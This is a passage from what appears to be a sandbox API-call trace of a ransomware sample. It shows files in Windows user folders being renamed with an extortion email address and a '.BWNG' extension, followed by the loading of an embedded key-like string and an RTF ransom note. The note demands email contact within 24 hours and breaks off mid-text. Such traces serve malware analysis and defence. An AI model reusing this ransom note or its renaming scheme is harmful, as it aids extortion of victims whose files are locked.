playlists\\en-us\\00010c6e\\[billwong73@yahoo.com].xkobozns-nkjebbuj.bwng"), dwFlags=0x1) returned 1 [0137.960] GetTickCount () returned 0x1169e81 [0137.960] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27991261686) returned 1 [0137.961] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\[billwong73@yahoo.com].L3s7VhOn-rschF7vm.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\[billwong73@yahoo.com].l3s7vhon-rschf7vm.bwng"), dwFlags=0x1) returned 1 [0137.962] GetTickCount () returned 0x1169e81 [0137.962] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27991420473) returned 1 [0137.962] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\[billwong73@yahoo.com].58T2LpyC-wFrShocI.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\[billwong73@yahoo.com].58t2lpyc-wfrshoci.bwng"), dwFlags=0x1) returned 1 [0137.963] GetTickCount () returned 0x1169e81 [0137.963] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27991563729) returned 1 [0137.964] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.dtd"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\[billwong73@yahoo.com].CwzWsBj6-Y0IzaL73.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\[billwong73@yahoo.com].cwzwsbj6-y0izal73.bwng"), dwFlags=0x1) returned 1 [0137.965] GetTickCount () returned 0x1169e81 [0137.965] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27991732422) returned 1 [0137.965] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Documents\\desktop.ini" (normalized: "c:\\users\\default\\documents\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Documents\\[billwong73@yahoo.com].BqZaLmS3-koBNwvps.BWNG" (normalized: "c:\\users\\default\\documents\\[billwong73@yahoo.com].bqzalms3-kobnwvps.bwng"), dwFlags=0x1) returned 1 [0137.967] GetTickCount () returned 0x1169e81 [0137.967] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27991877339) returned 1 [0138.065] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn autos.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\[billwong73@yahoo.com].hRWyu0T4-69Qjb3ZI.BWNG" (normalized: "c:\\users\\default\\favorites\\msn websites\\[billwong73@yahoo.com].hrwyu0t4-69qjb3zi.bwng"), dwFlags=0x1) returned 1 [0138.067] GetTickCount () returned 0x1169eee [0138.067] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=28001932528) returned 1 [0138.067] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Links\\desktop.ini" (normalized: "c:\\users\\default\\links\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Links\\[billwong73@yahoo.com].ohIATxfR-to9ho1j6.BWNG" (normalized: "c:\\users\\default\\links\\[billwong73@yahoo.com].ohiatxfr-to9ho1j6.bwng"), dwFlags=0x1) returned 1 [0138.069] GetTickCount () returned 0x1169eee [0138.069] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=28002085698) returned 1 [0138.069] MoveFileExW (lpExistingFileName="C:\\Users\\desktop.ini" (normalized: "c:\\users\\desktop.ini"), lpNewFileName="C:\\Users\\[billwong73@yahoo.com].SNFkAwMU-MlAmD2Dl.BWNG" (normalized: "c:\\users\\[billwong73@yahoo.com].snfkawmu-mlamd2dl.bwng"), dwFlags=0x1) returned 1 [0138.070] GetTickCount () returned 0x1169eee [0138.070] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=28002233271) returned 1 [0138.070] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Music\\desktop.ini" (normalized: "c:\\users\\public\\music\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\Music\\[billwong73@yahoo.com].Y7Mpings-VrmAMZgC.BWNG" (normalized: "c:\\users\\public\\music\\[billwong73@yahoo.com].y7mpings-vrmamzgc.bwng"), dwFlags=0x1) returned 1 [0138.072] GetTickCount () returned 0x1169eee [0138.072] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=28002378077) returned 1 [0138.072] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Videos\\desktop.ini" (normalized: "c:\\users\\public\\videos\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\Videos\\[billwong73@yahoo.com].LDaHwGev-Ce1drMOR.BWNG" (normalized: "c:\\users\\public\\videos\\[billwong73@yahoo.com].ldahwgev-ce1drmor.bwng"), dwFlags=0x1) returned 1 [0138.073] Sleep (dwMilliseconds=0x5dc) Thread: id = 91 os_tid = 0xbe4 [0033.900] FindResourceW (hModule=0x400000, lpName="RDM", lpType=0xa) returned 0x4f54d0 [0033.900] LoadResource (hModule=0x400000, hResInfo=0x4f54d0) returned 0x526fe4 [0033.900] SizeofResource (hModule=0x400000, hResInfo=0x4f54d0) returned 0x36d0 [0033.901] LockResource (hResData=0x526fe4) returned 0x526fe4 [0033.901] FreeResource (hResData=0x526fe4) returned 0 [0033.901] FindResourceW (hModule=0x400000, lpName="KN", lpType=0xa) returned 0x4f5450 [0033.901] LoadResource (hModule=0x400000, hResInfo=0x4f5450) returned 0x5260dc [0033.901] SizeofResource (hModule=0x400000, hResInfo=0x4f5450) returned 0x26 [0033.901] LockResource (hResData=0x5260dc) returned 0x5260dc [0033.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1eb2390, cbMultiByte=38, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0033.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1eb2390, cbMultiByte=38, lpWideCharStr=0x1e8f1cc, cchWideChar=38 | out: lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps\r\n42\r\n") returned 38 [0033.901] FreeResource (hResData=0x5260dc) returned 0 [0033.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0033.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", cchWideChar=32, lpMultiByteStr=0x1eb2394, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", lpUsedDefaultChar=0x0) returned 32 [0033.901] GetCurrentThreadId () returned 0xbe4 [0033.901] GetCurrentThreadId () returned 0xbe4 [0033.901] GetCurrentThreadId () returned 0xbe4 [0033.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x261ec48, cbMultiByte=14032, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14032 [0033.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x261ec48, cbMultiByte=14032, lpWideCharStr=0x1dba29c, cchWideChar=14032 | out: lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 [EML1]\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 [EML2]\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 [EML3]\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b [KID]\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 